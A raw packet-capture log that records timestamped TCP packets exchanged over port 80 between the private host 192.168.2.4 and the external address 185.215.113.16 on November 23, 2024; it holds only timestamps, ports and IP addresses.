Nov 23, 2024 20:23:46.917431116 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.918363094 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.918523073 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.918560028 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.919342041 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.919466972 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.919502974 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.920412064 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.920516014 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.920558929 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.921483040 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.921590090 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.921633959 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.922504902 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.922646046 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.922688961 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.923585892 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.923710108 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.923753977 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.924612045 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.924724102 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.924757004 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.925672054 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.925777912 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.925818920 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.926716089 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.926824093 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.926903963 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.926929951 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.927759886 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.927877903 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.927917957 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.928814888 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.928926945 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.928971052 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.929852009 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.929980040 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.930022955 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.930907965 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.931032896 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.931073904 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.931957006 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.932075024 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.932120085 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.933001041 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.933073044 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.933110952 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.934051991 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.934164047 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.934199095 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.935092926 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.935199976 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.935245037 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.936150074 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.936247110 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.936290979 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.937278032 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.937316895 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.937397003 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.938262939 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.938344955 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.938384056 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.939363003 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.953147888 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.085817099 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.085879087 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.085932016 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.086215019 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.086266041 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.086339951 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.087029934 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.087148905 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.087193012 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.088059902 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.088180065 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.088224888 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.089088917 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.089210033 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.089256048 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.090136051 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.090245008 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.090291023 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.091180086 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.091351986 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.091408014 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.092226028 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.092329025 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.092370987 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.093286037 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.093394995 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.093439102 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.094336987 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.094432116 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.094475985 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.095387936 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.095504045 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.095552921 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.096415997 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.096584082 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.096630096 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.097479105 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.097599983 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.097693920 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.098536015 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.098637104 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.098690987 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.099569082 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.099704027 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.099806070 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.100625038 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.100735903 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.100785971 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.101656914 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.101774931 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.102041960 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.102710009 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.102766037 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.102808952 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.103759050 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.103868961 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.103914022 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.104809999 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.104902029 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.104947090 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.105882883 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.105986118 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.106034040 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.106934071 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.107037067 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.107084990 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.107978106 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.108094931 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.108139992 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.109026909 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.109123945 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.109169006 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.110069036 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.110169888 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.110210896 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.111110926 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.111213923 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.111252069 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.112160921 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.112256050 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.112303972 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.113238096 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.113349915 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.113399029 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.114275932 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.114397049 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.114490032 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.115277052 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.115335941 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.115427971 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.115478992 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.116370916 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.116466999 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.116678953 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.117423058 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.117526054 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.117567062 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.118462086 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.118571043 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.118612051 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.119493008 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.119611025 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.119653940 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.120584965 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.120686054 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.120767117 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.121634960 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.121752024 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.122296095 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.122638941 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.122749090 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.122790098 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.123687029 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.123800993 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.123845100 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.124820948 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.124900103 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.124957085 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.125761986 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.125874996 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.125919104 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.126808882 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.126925945 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.126970053 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.127868891 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.127996922 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.128041983 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.128967047 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.129076004 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.129117966 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.130027056 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.130177021 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.130239010 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.131067038 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.131140947 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.131179094 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.132100105 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.132213116 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.132260084 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.133132935 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.133250952 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.133291960 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.134154081 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.134289980 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.134330988 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.135222912 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.135345936 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.135389090 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.136280060 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.136404991 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.136449099 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.137371063 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.137490988 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.137533903 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.138392925 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.138511896 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.138556004 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.139441013 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.139513969 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.139556885 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.140449047 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.145708084 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.287029982 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.287149906 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.287185907 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.287533045 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.287591934 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.287633896 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.288609028 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.288710117 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.288758993 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.289345980 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.289639950 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.289808035 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.289844036 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.290674925 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.290795088 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.291723967 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.291780949 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.291851044 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.291896105 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.292753935 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.292877913 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.293255091 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.293791056 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.293899059 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.293945074 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.294848919 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.294970989 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.295938015 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.296005964 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.296035051 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.296957970 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.297029972 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.297061920 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.297103882 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.297995090 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.298111916 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.298230886 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.299038887 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.299153090 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.299200058 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.300100088 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.300209045 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.300254107 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.301141977 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.301258087 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.301332951 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.302171946 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.302333117 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.302433014 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.303250074 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.303359032 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.303401947 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.304286957 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.304400921 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.304445028 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.305320978 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.305439949 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.305485010 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.306081057 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.306379080 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.306515932 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.306552887 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.307420015 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.307562113 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.307605982 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.308480024 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.308592081 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.308815002 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.309515953 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.309621096 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.310578108 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.310636044 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.310683966 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.310728073 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.311615944 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.311726093 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.311777115 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.312655926 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.312783003 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.312825918 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.313707113 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.313832998 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.314750910 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.314829111 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.314831018 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.314874887 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.315810919 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.315995932 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.316061020 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.316880941 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.316987991 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.317223072 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.317898035 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.318020105 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.318063021 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.318954945 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.319067001 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.319113970 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.320000887 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.320116043 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.320184946 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.321054935 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.321160078 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.321213007 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.322107077 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.322207928 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.322264910 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.323154926 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.323251963 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.323690891 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.324203014 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.324307919 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.324469090 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.325275898 CET	80	49870	185.215.113.16	192.168.2.4
